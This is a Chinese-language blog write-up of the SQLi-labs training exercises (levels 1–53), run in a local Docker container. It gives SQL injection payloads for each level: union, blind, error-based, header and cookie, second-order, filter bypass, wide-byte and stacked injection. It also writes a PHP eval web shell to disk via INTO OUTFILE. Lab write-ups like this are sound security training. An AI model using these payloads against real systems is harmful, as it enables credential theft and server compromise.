Sqli-lab速刷记录(1-53)

  1. 1. Preparation
  2. 2. Basic
  3. 3. SQLi-LABS Page-1(Basic Challenges)
    1. 3.1. Less-1
    2. 3.2. Less-2
    3. 3.3. Less-3
    4. 3.4. Less-4
    5. 3.5. Less-5
      1. 3.5.1. 使用left()
      2. 3.5.2. 使用substr()、ascii()
      3. 3.5.3. 使用regexp()
      4. 3.5.4. 使用ord()、mid()
      5. 3.5.5. 使用报错注入
      6. 3.5.6. 使用延时注入
    6. 3.6. Less-6
    7. 3.7. Less-7
    8. 3.8. Less-8
    9. 3.9. Less-9
    10. 3.10. Less-10
    11. 3.11. Less-11
    12. 3.12. Less-12
    13. 3.13. Less-13
    14. 3.14. Less-14
    15. 3.15. Less-15
    16. 3.16. Less-16
    17. 3.17. Less-17
    18. 3.18. Less-18
    19. 3.19. Less-19
    20. 3.20. Less-20
    21. 3.21. Less-21
    22. 3.22. Less-22
    23. 3.23. Less-23
    24. 3.24. Less-24
    25. 3.25. Less-25
    26. 3.26. Less-25a
    27. 3.27. Less-26
    28. 3.28. Less-26a
    29. 3.29. Less-27
    30. 3.30. Less-27a
    31. 3.31. Less-28
    32. 3.32. Less-28a
    33. 3.33. Less-29
    34. 3.34. Less-30
    35. 3.35. Less-31
    36. 3.36. Less-32
    37. 3.37. Less-33
    38. 3.38. Less-34
    39. 3.39. Less-35
    40. 3.40. Less-36
    41. 3.41. Less-37
    42. 3.42. Less-38
    43. 3.43. Less-39
    44. 3.44. Less-40
    45. 3.45. Less-41
    46. 3.46. Less-42
    47. 3.47. Less-43
    48. 3.48. Less-44
    49. 3.49. Less-45
    50. 3.50. Less-46
    51. 3.51. Less-47
    52. 3.52. Less-48
    53. 3.53. Less-49
    54. 3.54. Less-50
    55. 3.55. Less-51
    56. 3.56. Less-52
    57. 3.57. Less-53

之前很早写的,这几天把它补齐了。

[TOC]

Preparation

为了不干扰自己本机环境,sql-lab我就用的docker跑起来的,搭建也非常简单,也就两条命令

1
2
3
docker pull acgpiano/sqli-labs

docker run -dt --name sqli-lab -p [你要映射的端口]:80 acgpiano/sqli-labs:latest

然后在sql-lab上直接初始化数据库就好了。

Basic

这里列举一下sql基础语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
show databases;         //查看数据库

use xxx; //使用某个数据库

show tables; //查看该数据库的数据表

desc xxx; //查看该数据表的结构

select * from xxx; //查找某个数据表的所有内容

select schema_name from information_schema.schemata; //猜数据库

select table_name from information_schema.tables where table_schema='xxxxx'; //猜某数据库的数据表

Select column_name from information_schema.columns where table_name='xxxxx'; //猜某表的所有列

left(a,b) //从左侧截取 a 的前 b 位

mid(column_name,start[,length]) //从位置start开始,截取column_name字符串的length位,与substr作用相同

substr(string, start, length) //从位置start开始,截取字符串stringlength长度,与mid作用相同

ascii() //将某个字符转换成ascii

ord() //将某个字符转换成ascii码,同ascii()

SQLi-LABS Page-1(Basic Challenges)

Less-1

尝试添加’注入,发现报错

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

这里我们就可以直接发现报错的地方,直接将后面注释,然后使用

1
2
3
4
5
6
7
8
9
10
1' order by 3%23    //得到列数为3

//这里用-1是为了查询一个不存在的id,好让第一句结果为空,直接显示第二句的结果
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata%23 //得到数据库名

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'security'# //得到表名

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name= 'users'# //得到列名

-1' union select 1,username,password from users where id=3# //爆破得到数据

Less-2

在添加’之后,得到返回

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

可以得到这个sql语句其实并没有单引号,只是用数字进行查询,例如

1
select * from users where id=1

所以我们也可以跟上面一样,payloads:

1
-1 or 1=1%23

Less-3

添加’之后,返回

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

可以得到大概的sql语句:

1
select * from users where id=('input') LIMIT 0,1;

所以我们可以需要闭合)。

1
-1') or 1=1%23

Less-4

尝试’并未发现报错,尝试”发现报错

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

可以得到大概的sql语句

1
select * from users where id = ("input") LIMIT 0,1;

所以payload:

1
-1") or 1=1 %23

其他注入语句同上 ,就不再一一列举了。

Less-5

尝试’发现报错

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

猜测sql语句为

1
select * from users where id='input' LIMIT 0,1;

如果尝试之前的注入方法,会发现不再会返回我们注入的信息,如果注入成功的话,页面会返回You are in...,出错的话就不会返回这个字符串,所以这里我们可以进行盲注。

使用left()

例如我们可以使用1' and left(version(),1)=3%23这个payload进行测试,截取version()得到的最左侧的字符判断是否为3,如果为3则正常返回You are in...,否则不返回。所以我们可以利用这个一步一步爆破得到left(version(),1)=5。爆破区间可以确定在/[0-9.]/

采用1'and length(database())=8%23对数据库名字长度进行爆破,确定数据库名字长度之后,我们可以使用database()来进行爆破数据库名,采用left(database(),1)>'a'这个payload进行测试,原理跟上述一致,看返回即可,直到截取长度与数据库名字一致为止,这里效率比较高的就是采用二分法进行盲注。

使用substr()、ascii()

也可以采用substr()、ascii()函数进行尝试:

1
2
3
4
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80%23     //截取数据库下第一个表的第一个字符与80ascii值进行对比

找第二个字符只需要改成substr('xxx',2,1)即可。
找第二个表改成limit 1,1

使用regexp()

1
2
1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1;)%23
//users表中的列名是否有us**的列

使用ord()、mid()

1
2
3
4
1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68%23
//cast(username AS CHAR)将username转换成字符串
//IFNULL(exp1,exp2)假如expr1不为NULL,则IFNULL()的返回值为expr1; 否则其返回值为expr2。IFNULL()的返回值是数字或是字符串,具体情况取决于其所使用的语境。
//ord前文提过

使用报错注入

推荐一篇超详细的讲解报错注入的文章——Mysql报错注入原理分析(count()、rand()、group by)

1
2
3
4
5
6
7
8
9
10
11
12
1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0
x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

1' union select 1,count(*) ,concat((select user()),floor(rand(0)*2))x from security.users group by x#

1' union select (!(select * from (select user())x) - ~0),2,3 --+

1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+

1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+

1' union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+

使用延时注入

benchmark 是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。 benchmark() 中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式

1
2
3
1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

Less-6

没有回显,可以使用布尔盲注

1
1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+

可以发现>100有回显,小于就没有,也可以用报错注入…

这里就是把Less-5 中的'改成"就行了

Less-7

使用文件导出

1
2
3
1'))UNION SELECT 1,2,3 into outfile "c:\\wamp\\www\\sqlli b\\Less-7\\uuu.txt"%23

1'))UNION SELECT 1,2,'<?php @eval($_post[“mima”])?>' into outfile "c:\\wamp\\www\\sqllib\\Less-7\\yijuhua.php"--+

Less-8

可以使用时间盲注,也可以用 bool 盲注

1
1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+

Less-9

同 Less-8 可以使用时间盲注

1
1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+

Less-10

1
1" and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+

Less-11

报错注入,少一列就行了

1
2
3
1' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#

1' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#

Less-12

1
2
3
1") union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#

1") union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#

Less-13

1
1') or 1=1#

成功登录,报错注入成功但是不回显,可以考虑盲注

1
1') or ascii(substr((database()),1,1))>100#

Less-14

1
1" or 1=1#

成功登录,依然不能回显,尝试使用布尔盲注

1
1" or left(database(),1)='s'#

发现可以用updatexml进行报错注入

1
1" and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

Less-15

1
1' or 1=1#

成功登录,布尔注入或者时间盲注均可行

1
2
1' or left(database(),1)='s'#
admin' and If(ascii(substr(database(),1,1))>115,1,sleep(5))#

Less-16

1
1") or 1=1#

成功登录,布尔注入或者时间盲注均可行

1
2
1") or left(database(),1)='s'#
admin") and If(ascii(substr(database(),1,1))>115,1,sleep(5))#

Less-17

update注入,username过滤了很多,有password错误回显,考虑用报错注入

1
1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

Less-18

登录成功后,页面提示

1
2
Your IP ADDRESS is: 172.17.0.1
Your User Agent is: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0

那么有可能是 ip 或者 UA 注入,看了一下发现是个 Header 头注入,这里需要注意这是登录成功的条件下才能触发的,而且既然是insert注入,需要用'1'='1闭合后面的 sql 语句,否则就是语法错误了

1
2
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1),"1","1")#

Less-19

登录成功后提示

1
2
Your IP ADDRESS is: 172.17.0.1
Your Referer is: http://localhost:8081/Less-19/

于是我们可以知道是在Referer应该有注入点,在 Referer 处同样用

1
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

可以注入

Less-20

cookie 注入,登录成功后修改 cookie 即可

1
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

Less-21

登录成功后发现 cookie 加上了 base64

1
YOUR COOKIE : uname = YWRtaW4=

用上面的 payload 进行 base64 编码就行了,记得=要 urlencode

1
JyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAnMSc9JzE%3d

Less-22

同 21 ,单引号换成双引号即可

1
IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAiMSI9IjE%3d

Less-23

这里#--+均被过滤了,但是我们可以利用or "1"="1来闭合后面的双引号也可以达到我们的目的

1
-1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

Less-24

这里是个二次注入,我们可以先注册一个admin'#的账号,在修改密码处我们就可以以自己的密码修改 admin 的密码了,因为修改密码处形成的 sql 语句是

1
UPDATE users SET passwd="New_Pass" WHERE username ='admin'#'xxxx

这样#就注释掉了后面的 sql 语句

Less-25

题目很直接,提示直接把 orand过滤了,但是可以用&&||绕过

1
admin'||updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

也可以双写绕过

1
0' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata;#

Less-25a

1
-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata %23

Less-26

题目提示空格与注释被过滤了,可以使用%0a绕过,可以盲注也可以报错注入

1
2
0'||left(database(),1)>'s'%26%26'1'='1	
0'||updatexml(1,concat(0x7e,(Select%0[email protected]@version),0x7e),1)||'1'='1

Less-26a

题目提示空格与注释被过滤了,可以使用%a0绕过,报错注入不出,可以用布尔盲注

1
2
3
4
5
6
0'||'1'='1	#探测为'
0'||left(database(),1)='s'%26%26'1'='1

白盒审计知道是')
0%27)%a0union%a0select%a01,database(),2||('1
0%27)%a0union%a0select%a01,database(),2;%00

Less-27

题目提示unionselect被过滤了,可用大小写绕过

1
2
3
4
0'||'1'='1
0'||left(database(),1)='s'%26%26'1'='1

0'%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00

Less-27a

增加了"

1
0"%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00

Less-28

union select大小写均被过滤,但是select还可单独用,盲注即可

1
0')||left(database(),1)>'s';%00

Less-28a

依然可以用盲注

1
2
0')||left((database()),1)='s';%00
0')||left((selEct%0agroup_concat(schema_name)%0afrom%0Ainformation_schema.schemata),1)<'s';%00

Less-29

利用tomcatapache解析相同请求参数不同的特性,tomcat解析相同请求参数取第一个,而apache取第二个,如?id=1&id=2tomcat取得1,apache取得2

1
?id=1&id=0' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

Less-30

与 29 架构一样,原理一致只不过加了"限制

1
?id=1&id=0" union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

Less-31

架构一样,多了")

1
?id=1&id=0") union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

Less-32

注意是GBK,可以用%df进行宽字节注入

1
2
0%df%27%20or%201=1%23
0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

Less-33

1
0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

Less-34

1
uname=0%df'%20union+selEct%201,group_concat(schema_name)%20from%20information_schema.schemata%3b%23&passwd=1&submit=Submit

Less-35

1
0 union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

Less-36

1
2
0%df%27%20union%20selEct%201,group_concat(schema_name),2%20from%20information_schema.schemata;%23
-1%EF%BF%BD%27union%20select%201,user(),3--+

Less-37

1
uname=0%df%27%20union%20selEct%20group_concat(schema_name),2%20from%20information_schema.schemata;%23&passwd=1&submit=Submit

Less-38

堆叠注入,成功创建test数据表

1
1';create table test like users;%23

Less-39

1
1;create table test39 like users;%23

Less-40

1
1');create table test40 like users;%23

Less-41

1
1;create table test41 like users;%23

Less-42

password处无过滤

1
login_user=1&login_password=1'%3bcreate+table+test43+like+users%3b%23&mysubmit=Login

Less-43

password处无过滤

1
login_user=1&login_password=1')%3bcreate+table+test43+like+users%3b%23&mysubmit=Login

Less-44

1
login_user=1&login_password=1'%3bcreate+table+test44+like+users%3b%23&mysubmit=Login

Less-45

1
login_user=1&login_password=1')%3bcreate+table+test45+like+users%3b%23&mysubmit=Login

Less-46

order by注入

usernamepassword均为列名,所以以下需要知道列名

1
2
3
4
5
6
?order=if(1=1,username,password)
?order=null,if(1=1,username,password)
?order=(case when (1=1) then username else password end)
?order=ifnull(null, username)
?order=rand(1=1) //order by rand(1)/rand(0)两者返回不一样
?order=(select 1 regexp if(1=1,1,0x00))

1=1换成bool盲注的语句函数即可用于获取数据
sort=rand(ascii(database(),1))=115)

时间盲注

1
2
sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5))
sort=(select if(substring(current,1,1)=char(115),benchmatrk(5000000,md5('1')),null) from (select database() as current) as tb1)

Bool 盲注

1
rand(ascii(left(database()),1))=115)

报错注入:

1
2
updatexml(1,if(1=1,concat(0x7e,version()),2),1)
(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))

procedure analyse 参数后注入

1
sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

into outfile参数:

1
id=1 into outfield "path"

上传网马,可以在后面加上lines terminated by 16进制转码的数据

Less-47

',可以用报错

1
2
1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+
1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+

也可以用时间盲注

1
1'and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+

procedure analyse 参数后注入

1
1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+

Less-48

1
2
1 and If(ascii(substr(database(),1,1))>115,0,sleep (5))--+
sort=rand(ascii(left(database(),1))=115)

Less-49

1
2
1' and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+
1' and (If(ascii(substr((select username from users where id=1),1,1))=68,0,sleep(5)))--+

Less-50

堆叠注入

1
1;create table test50 like users;%23

Less-51

1
1';create table test51 like users;%23

Less-52

1
1;create table test52 like users;%23

Less-53

1
1';create table test53 like users;%23

Article Author: Zeddy

Article Link: https://blog.zeddyu.info/2019/03/03/Sqli-lab速刷记录(1-53)/index.html

Copyright Notice: With the exception of the special statement at the beginning of the article, all articles can be reprinted in accordance with the CC BY 4.0 agreement with the author's permission.

Sqli-lab Challenges Write up Some Tricks of Bypass php waf

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×